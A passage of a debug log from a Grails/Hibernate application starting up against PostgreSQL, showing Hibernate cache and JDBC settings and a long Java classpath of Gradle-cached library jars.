org.hibernate.cfg.Settings : Second-level query cache: disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Second-level query cache factory: null 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Second-level cache region prefix: null 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Optimize second-level cache for minimal puts: disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Structured second-level cache entries: disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Second-level cache direct-reference entries: disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Automatic eviction of collection cache: disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : JDBC batch size: 15 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : JDBC batch updates for versioned data: enabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Scrollable result sets: enabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Wrap result sets: disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : JDBC3 getGeneratedKeys(): enabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : JDBC result set fetch size: null 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Connection release mode: ON_CLOSE 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : Generate SQL with comments: disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : JPA compliance - query : disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : JPA compliance - closed-handling : disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : JPA compliance - lists : disabled 2024-04-16 15:26:44.504 DEBUG --- [ restartedMain] org.hibernate.cfg.Settings : JPA compliance - transactions : disabled 2024-04-16 15:26:44.504 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.service.spi.SessionFactoryServiceRegistryFactory] 2024-04-16 15:26:44.507 DEBUG --- [ restartedMain] o.h.boot.internal.ClassLoaderAccessImpl : Not known whether passed class name [work.pollochang.Test1] is safe 2024-04-16 15:26:44.507 DEBUG --- [ restartedMain] o.h.boot.internal.ClassLoaderAccessImpl : No temp ClassLoader provided; using live ClassLoader for loading potentially unsafe class : work.pollochang.Test1 2024-04-16 15:26:44.516 DEBUG --- [ restartedMain] .h.s.i.SessionFactoryServiceRegistryImpl : EventListenerRegistry access via ServiceRegistry is deprecated. Use `sessionFactory.getEventEngine().getListenerRegistry()` instead 2024-04-16 15:26:44.517 DEBUG --- [ restartedMain] .h.s.i.SessionFactoryServiceRegistryImpl : EventListenerRegistry access via ServiceRegistry is deprecated. Use `sessionFactory.getEventEngine().getListenerRegistry()` instead 2024-04-16 15:26:44.517 TRACE --- [ restartedMain] .e.j.e.i.NormalizingIdentifierHelperImpl : Normalizing identifier quoting [null] 2024-04-16 15:26:44.517 TRACE --- [ restartedMain] o.h.s.i.AbstractServiceRegistryImpl : Initializing service [role=org.hibernate.cache.spi.CacheImplementor] 2024-04-16 15:26:44.519 DEBUG --- [ restartedMain] o.hibernate.internal.SessionFactoryImpl : Session factory constructed with filter configurations : {} 2024-04-16 15:26:44.519 DEBUG --- [ restartedMain] o.hibernate.internal.SessionFactoryImpl : Instantiating session factory with properties: {hibernate.format_sql=false, run.active=true, java.specification.version=17, hibernate.connection.handling_mode=DELAYED_ACQUISITION_AND_HOLD, sun.jnu.encoding=UTF-8, hibernate.dialect=org.hibernate.dialect.PostgreSQL10Dialect, java.class.path=/home/jameschang/Documents/gitContent/pollochang/pollo-grails-db-aop/src/main/resources:/home/jameschang/Documents/gitContent/pollochang/pollo-grails-db-aop/grails-app/views:/home/jameschang/Documents/gitContent/pollochang/pollo-grails-db-aop/grails-app/i18n:/home/jameschang/Documents/gitContent/pollochang/pollo-grails-db-aop/grails-app/conf:/home/jameschang/Documents/gitContent/pollochang/pollo-grails-db-aop/build/classes/java/main:/home/jameschang/Documents/gitContent/pollochang/pollo-grails-db-aop/build/classes/groovy/main:/home/jameschang/Documents/gitContent/pollochang/pollo-grails-db-aop/gsp-classes:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-logging/5.3.6/7b2811bd000aba08ad259455fafa7167f0b4baf8/grails-logging-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-plugin-databinding/5.3.6/90c4e117367c04a9f424c2a30b35155ccce070da/grails-plugin-databinding-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-plugin-services/5.3.6/98a96f8bc7cde7724603140b45fa7a55e5980d57/grails-plugin-services-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails.plugins/async/4.0.0/41a4a5a76032ae71d77ce7a9722986ae5a42af04/async-4.0.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails.plugins/events/4.0.0/6e906b9ec9dfd168a82aaf2858da65c2eb451b37/events-4.0.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-web-boot/5.3.6/de2e1e739c166685f6122932d050f5edc2978bd1/grails-web-boot-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-plugin-rest/5.3.6/da45072ad1295e93abc4357c708fc45d6a93fbd8/grails-plugin-rest-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-plugin-interceptors/5.3.6/982d8be14c71acce49a3ead6e2b766d0b72ceca2/grails-plugin-interceptors-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-plugin-url-mappings/5.3.6/31896ab23cccf618eac20a1ae365a4ff0652accf/grails-plugin-url-mappings-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-plugin-controllers/5.3.6/1f9742eef39213daca372dc8924abc5d5177b90e/grails-plugin-controllers-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-plugin-i18n/5.3.6/54228922d624f8ef9cdbb76fd8c1d58f3e918e21/grails-plugin-i18n-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails.plugins/gsp/5.2.2/f3a03d466051f103cc6a3ee2b61e4aa672504ef0/gsp-5.2.2-plain.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-plugin-codecs/5.3.6/2a9f537188697d30dbe8b19a159b78c7f7aea39d/grails-plugin-codecs-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-plugin-mimetypes/5.3.6/f8c0506ef5069585567597b05c192218c6a0f0d3/grails-plugin-mimetypes-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-plugin-domain-class/5.3.6/b997c30ad962452424659ebee436c0cf4f4f4b9d/grails-plugin-domain-class-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-plugin-validation/5.3.6/1f5116731db72853f5db50cd52bbdc9d30f090c7/grails-plugin-validation-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-web/5.3.6/86c9875997f1f8a9cab9c826e9f3db80d8d5cc42/grails-web-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-web-gsp-taglib/5.2.2/457d03412110f2037608028c78299f2eff165433/grails-web-gsp-taglib-5.2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-web-jsp/5.2.2/eb543a492e30ee04ff50fc649a115c8d87301469/grails-web-jsp-5.2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-web-databinding/5.3.6/87f00d19c1cec77c2353dfc36ee5ae309b44c201/grails-web-databinding-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-web-fileupload/5.3.6/6bd26d2b14ea66eebe0a8745b710e4429ac8e15d/grails-web-fileupload-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-web-mvc/5.3.6/e77cb39751870111d427e574577cb000401ad74c/grails-web-mvc-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-web-url-mappings/5.3.6/ba2e10d77efbf515d250f62b5ef0cab6b1efaf2/grails-web-url-mappings-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-web-gsp/5.2.2/a01ea1674279ef30cb432f927aefb980d8c1d040/grails-web-gsp-5.2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-web-taglib/5.2.2/b99a039f50c6a3ed9959bf68f608941fe13967f0/grails-web-taglib-5.2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-web-common/5.3.6/2589301a54e3437edfd4b49af822008144d06aac/grails-web-common-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-plugin-datasource/5.3.6/c85a4fe057975dee4e597075b9ff12bf9ec2274c/grails-plugin-datasource-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails.plugins/hibernate5/7.3.1/f32ffbc5774ad1f52bf67e238831bf289b3c0c6a/hibernate5-7.3.1-plain.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-datastore-gorm-support/7.3.4/d7590ece66fa685de90aa77a82023640970c8c40/grails-datastore-gorm-support-7.3.4.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-gsp/5.2.2/936c963fa4171bb0c404434ab5a045d279ea72f3/grails-gsp-5.2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-taglib/5.2.2/3455aa3168a71753a25f78c89b7ad4d076f9316b/grails-taglib-5.2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-encoder/5.3.6/dc92e63e0bbfa6c5dafc6fc4e1c202b826d3e554/grails-encoder-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-core/5.3.6/26dfe8bf2e2abec7620163ffe1311e79229f59b6/grails-core-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut.spring/micronaut-spring-context/4.5.0/4c19a52d78f6845e1557100a7fd7ce445860fc64/micronaut-spring-context-4.5.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut.cache/micronaut-cache-core/3.5.0/7495794ce7142740612cefb331f2c4eddcb00e95/micronaut-cache-core-3.5.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut.spring/micronaut-spring/4.5.0/c10a0047682032b3057513f4644975496d845f63/micronaut-spring-4.5.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-inject-groovy/3.8.8/81324760a4d11bf9d0f808eb71140aff24494e90/micronaut-inject-groovy-3.8.8.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework.boot/spring-boot-devtools/2.7.10/5fb400244cc006b920f3e0adc333498c8175b892/spring-boot-devtools-2.7.10.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework.boot/spring-boot-actuator-autoconfigure/2.7.10/34c6b707e929954fecada408bb8a1f1b8eb4fee8/spring-boot-actuator-autoconfigure-2.7.10.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework.boot/spring-boot-autoconfigure/2.7.10/514bec7b4e424199325b4f3c8949b9e2b5f6f16c/spring-boot-autoconfigure-2.7.10.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails.plugins/cache/5.0.1/9a0756ba143f44fcb48a2eb741002ef6538e0979/cache-5.0.1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails.plugins/scaffolding/4.1.0/aea42ebbdf2c765ac674b02fdf8a588437a36e6f/scaffolding-4.1.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-datastore-gorm-hibernate5/7.2.2/f6e1ee92da3d4326744891fdeaf0e9fcb7b06861/grails-datastore-gorm-hibernate5-7.2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.hibernate/hibernate-core/5.6.11.Final/bc2aa514b13cfeee4ce8ed1f770c321ab63c2b82/hibernate-core-5.6.11.Final.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.postgresql/postgresql/42.6.0/7614cfce466145b84972781ab0079b8dea49e363/postgresql-42.6.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.glassfish.web/el-impl/2.2.1-b05/e7257f648b1ec91b87db8893f7740e116b05d777/el-impl-2.2.1-b05.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.tomcat/tomcat-jdbc/9.0.73/a470d3f132dbb5e571683836b516eb6229e31607/tomcat-jdbc-9.0.73.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/javax.xml.bind/jaxb-api/2.3.1/8531ad5ac454cc2deb9d4d32c40c4d7451939b5d/jaxb-api-2.3.1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.bertramlabs.plugins/asset-pipeline-grails/3.4.7/3be07b8a0f04bf2b5f1d8c9fc9b07b207c4f2d16/asset-pipeline-grails-3.4.7.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-runtime/3.8.5/a14cb3b344a11363c0755e6271891b62fe1fd54b/micronaut-runtime-3.8.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-jackson-databind/3.8.5/2945b33f4fa0141885e57ae3ad45d0cc64b5588a/micronaut-jackson-databind-3.8.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-jackson-core/3.8.5/e4a3c4147494ecfb8b15e5024f5f34f513123b45/micronaut-jackson-core-3.8.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-json-core/3.8.5/240c1976ac96ddfd2b7e684cba53f6b9ac2e8635/micronaut-json-core-3.8.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-context/3.8.5/76bede59f662573762c6619f9fbcac846addc441/micronaut-context-3.8.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-aop/3.8.5/db5d13dbe4b81cf0b17144920db492a4b45807a4/micronaut-aop-3.8.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-spring/5.3.6/fdda26ffcb5bf2dab372fa401b32e20be6d34b44/grails-spring-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-bootstrap/5.3.6/90eeea5f0e82ad58bd0f124ce1454679b0496002/grails-bootstrap-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-http/3.8.5/7030153705914697ee0c4300698500f033c76a84/micronaut-http-3.8.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-inject/3.8.5/2e0312aabc8594a6363f59057e6de992b932eb02/micronaut-inject-3.8.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/ch.qos.logback/logback-classic/1.2.11/4741689214e9d1e8408b206506cbe76d1c6a7d60/logback-classic-1.2.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.logging.log4j/log4j-to-slf4j/2.17.2/17dd0fae2747d9a28c67bc9534108823d2376b46/log4j-to-slf4j-2.17.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.slf4j/jul-to-slf4j/1.7.36/ed46d81cef9c412a88caef405b58f93a678ff2ca/jul-to-slf4j-1.7.36.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-datastore-web/7.3.4/90f40109617b99d4cf0c396d103eea292b0f1196/grails-datastore-web-7.3.4.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-events-compat/4.0.0/9cbbec92673660d774daa8186ce4da55e53f30e5/grails-events-compat-4.0.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-events-transform/4.0.0/bfc855d46d81c761190293f964156a609d96ff30/grails-events-transform-4.0.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-datastore-gorm/7.3.4/222e2a577506c56ab77afcb1ac0291138613d919/grails-datastore-gorm-7.3.4.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-datastore-gorm-validation/7.3.4/d966cee7a1f54f1864789bc80522d8f175e3c8d9/grails-datastore-gorm-validation-7.3.4.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-datastore-core/7.3.4/f9e7abdf3686b7794207034e0919e5f7a55436fb/grails-datastore-core-7.3.4.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-databinding/5.3.6/5e340973faa1b457e5dd3c5da16de7ea29ba756a/grails-databinding-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-codecs/5.3.6/b2d937968fd68f70d6f6039d11f03a571ba53a85/grails-codecs-5.3.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.slf4j/jcl-over-slf4j/1.7.36/d877e195a05aca4a2f1ad2ff14bfec1393af4b5e/jcl-over-slf4j-1.7.36.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-async/4.0.0/5819970310471abecaf5fa1186939e54b0a60111/grails-async-4.0.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-events/4.0.0/1cc715abe0dfc0acb31c11fd826f5e3196ecdca7/grails-events-4.0.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.bertramlabs.plugins/asset-pipeline-core/3.4.7/8f466bb3580074113614bc8cb475d79b7dd479c4/asset-pipeline-core-3.4.7.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-core-reactive/3.8.5/f155bf12b76b868073f5f08e0f827842105b82dd/micronaut-core-reactive-3.8.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micronaut/micronaut-core/3.8.5/77936e19b984225689e4e231e73abf329ad4648/micronaut-core-3.8.5.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/grails-web-sitemesh/5.2.2/85c8dea5bd35cb867f83e998a2d12ee17bb8afe5/grails-web-sitemesh-5.2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.slf4j/slf4j-api/1.7.36/6c62681a2f655b49963a5983b8b0950a6120ae14/slf4j-api-1.7.36.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy-ant/3.0.11/72e9781d96b81ba699e264c88f60a232c5c800e1/groovy-ant-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy-templates/3.0.11/c130de7a9cac4d0788e320acd2b99d084e78e003/groovy-templates-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy-xml/3.0.11/65a18a9c3c88d90616139754c1aac054df6329c2/groovy-xml-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy-sql/3.0.11/e88a984e8839b8b59c64db06fc1f157f014af34b/groovy-sql-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy-json/3.0.11/4ebecf885428c95ab3a649c8226ece553fc6f264/groovy-json-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.groovy/groovy/3.0.11/b1759d82dcf4f57299c8555a76330532d2d77b47/groovy-3.0.11.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework.boot/spring-boot-actuator/2.7.10/b6b4925825deabc7581f31f535e0485550cac7b0/spring-boot-actuator-2.7.10.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework.boot/spring-boot/2.7.10/538847f69a830791fac87bd3c232a001bd2c6806/spring-boot-2.7.10.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.tomcat.embed/tomcat-embed-el/9.0.73/bccf17a0a9e3dc239915114e6d6b74c6cc339c39/tomcat-embed-el-9.0.73.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.hibernate.validator/hibernate-validator/6.2.5.Final/a68959c06e5f8ff45faff469aa16f232c04af620/hibernate-validator-6.2.5.Final.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.github.ben-manes.caffeine/caffeine/2.9.3/b162491f768824d21487551873f9b3b374a7fe19/caffeine-2.9.3.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/javax.inject/javax.inject/1/6975da39a7040257bd51d21a231b76c915872d38/javax.inject-1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/javax.persistence/javax.persistence-api/2.2/25665ac8c0b62f50e6488173233239120fc52c96/javax.persistence-api-2.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails.plugins/fields/3.0.0.RC1/2db607ead45eda4c732f2a342d2446beeb27d5b6/fields-3.0.0.RC1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails/scaffolding-core/2.1.0/869f1b62da7ebb1b3ebec308562fc290b0a874b4/scaffolding-core-2.1.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/javax.annotation/javax.annotation-api/1.3.2/934c04d3cfef185a8008e7bf34331b79730a9d43/javax.annotation-api-1.3.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-orm/5.3.25/b0fb2911a5d528037149240c8b4f2c820d90405b/spring-orm-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-jdbc/5.3.25/809f5841b13d42e5d4d14eb13346958cc9e9e187/spring-jdbc-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-tx/5.3.25/b459d0b755c9614a55ebd39ce353748c4b210be2/spring-tx-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-webmvc/5.3.25/62a8258bcc4f7a58dd69af5140481b64653c90/spring-webmvc-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-context-support/5.3.25/c441d8288dd0f53e28880e865b7864f23717af97/spring-context-support-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-context/5.3.25/268a70ce4f44333ce0f13304c5f8c53b3df5f5f4/spring-context-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-aop/5.3.25/722e30759b29331726f9deed76f80b22345ee627/spring-aop-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-web/5.3.25/c69815e7931cd3ce7f19cc8028fd1c36626120d6/spring-web-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-beans/5.3.25/b3aeae036b4ea1abfa1f9604d452e19664efe5f6/spring-beans-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-test/5.3.25/42a55c25a4da3bc330d8ab3ea7648cd76d0830d4/spring-test-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-expression/5.3.25/d681cdb86611f03d8ef29654edde219fe5afef1d/spring-expression-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.springframework/spring-core/5.3.25/85382e86321227506bf7f97ed80e2ab88bce25f0/spring-core-5.3.25.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.ant/ant-junit/1.10.12/81bde3486c2ed79cb6f699c2a5a77b0340d1f2e8/ant-junit-1.10.12.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.ant/ant/1.10.13/85fd5990a27ddafe8af3f7a6d7132d2c29a22a7c/ant-1.10.13.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/jline/jline/2.14.6/c3aeac59c022bdc497c8c48ed86fa50450e4896a/jline-2.14.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.fusesource.jansi/jansi/1.18/d9205bbcd4b5f9cd1effe752d18f73bd942d783f/jansi-1.18.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/io.micrometer/micrometer-core/1.9.9/71ca38f65a24b2fda26ff5c0cce78699c9d31d49/micrometer-core-1.9.9.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/jakarta.annotation/jakarta.annotation-api/2.0.0/f3cd84cc45f583a0fdc42a8156d6c5b98d625c1a/jakarta.annotation-api-2.0.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.tomcat.embed/tomcat-embed-websocket/9.0.73/bd1f33e9103ef8435f34574c2046f5db0e35090b/tomcat-embed-websocket-9.0.73.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.tomcat.embed/tomcat-embed-core/9.0.73/16f0a7f04e4f1ab18fe40510a3a13f974b6c1d70/tomcat-embed-core-9.0.73.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/javax.servlet/javax.servlet-api/4.0.1/a27082684a2ff0bf397666c3943496c44541d1ca/javax.servlet-api-4.0.1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.grails.plugins/converters/4.0.0/e364097f5e6f78fd102519c162442f4eeb0a5f42/converters-4.0.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/junit/junit/4.13.2/8ac9e16d933b6fb43bc7f576336b8f4d7eb5ba12/junit-4.13.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/gradle.plugin.com.github.erdi.webdriver-binaries/webdriver-binaries-gradle-plugin/2.4/f460e121d3dfdf40fdc6a3cf2eb8d0a77d05a157/webdriver-binaries-gradle-plugin-2.4.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.codehaus.gpars/gpars/1.2.1/c3ea0fbcd67a163bd5e3a3efdaa3428262d0d437/gpars-1.2.1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.googlecode.concurrentlinkedhashmap/concurrentlinkedhashmap-lru/1.4.2/2eaf3d3c9746d526ff7e5b93931d482c3887e6ac/concurrentlinkedhashmap-lru-1.4.2.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.javassist/javassist/3.29.2-GA/6c32028609e5dd4a1b78e10fbcd122b09b3928b1/javassist-3.29.2-GA.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.hibernate.common/hibernate-commons-annotations/5.1.2.Final/e59ffdbc6ad09eeb33507b39ffcf287679a498c8/hibernate-commons-annotations-5.1.2.Final.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.jboss.logging/jboss-logging/3.4.3.Final/c4bd7e12a745c0e7f6cf98c45cdcdf482fd827ea/jboss-logging-3.4.3.Final.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/net.bytebuddy/byte-buddy/1.12.23/d470526e8c4566c04e9ae5d3ccb62d1a7aa58986/byte-buddy-1.12.23.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/antlr/antlr/2.7.7/83cd2cd674a217ade95a4bb83a8a14f351f48bd0/antlr-2.7.7.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.jboss.spec.javax.transaction/jboss-transaction-api_1.2_spec/1.1.1.Final/a8485cab9484dda36e9a8c319e76b5cc18797b58/jboss-transaction-api_1.2_spec-1.1.1.Final.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.jboss/jandex/2.4.2.Final/1e1c385990b258ff1a24c801e84aebbacf70eb39/jandex-2.4.2.Final.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/com.fasterxml/classmate/1.5.1/3fe0bed568c62df5e89f4f174c101eab25345b6c/classmate-1.5.1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/javax.activation/javax.activation-api/1.2.0/85262acf3ca9816f9537ca47d5adeabaead7cb16/javax.activation-api-1.2.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.glassfish.jaxb/jaxb-runtime/2.3.8/c90a335a07c60db986f29d35b0f8ac0a18f0f989/jaxb-runtime-2.3.8.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/commons-lang/commons-lang/2.6/ce1edb914c94ebc388f086c6827e8bdeec71ac2/commons-lang-2.6.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.checkerframework/checker-qual/3.31.0/eeefd4af42e2f4221d145c1791582f91868f99ab/checker-qual-3.31.0.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/javax.el/el-api/2.2.1-b04/907e6b1a1c2c18661eea4aa5c11db175455d36e9/el-api-2.2.1-b04.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.apache.tomcat/tomcat-juli/9.0.73/8fff35cac4a53eb9cdf2366e59de1751ab16ee17/tomcat-juli-9.0.73.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/jakarta.inject/jakarta.inject-api/2.0.1/4c28afe1991a941d7702fe1362c365f0a8641d1e/jakarta.inject-api-2.0.1.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/org.yaml/snakeyaml/1.30/8fde7fe2586328ac3c68db92045e1c8759125000/snakeyaml-1.30.jar:/home/jameschang/.gradle/caches/modules-2/files-2.1/ch.qos.logback/logback-core/1.2.11/a01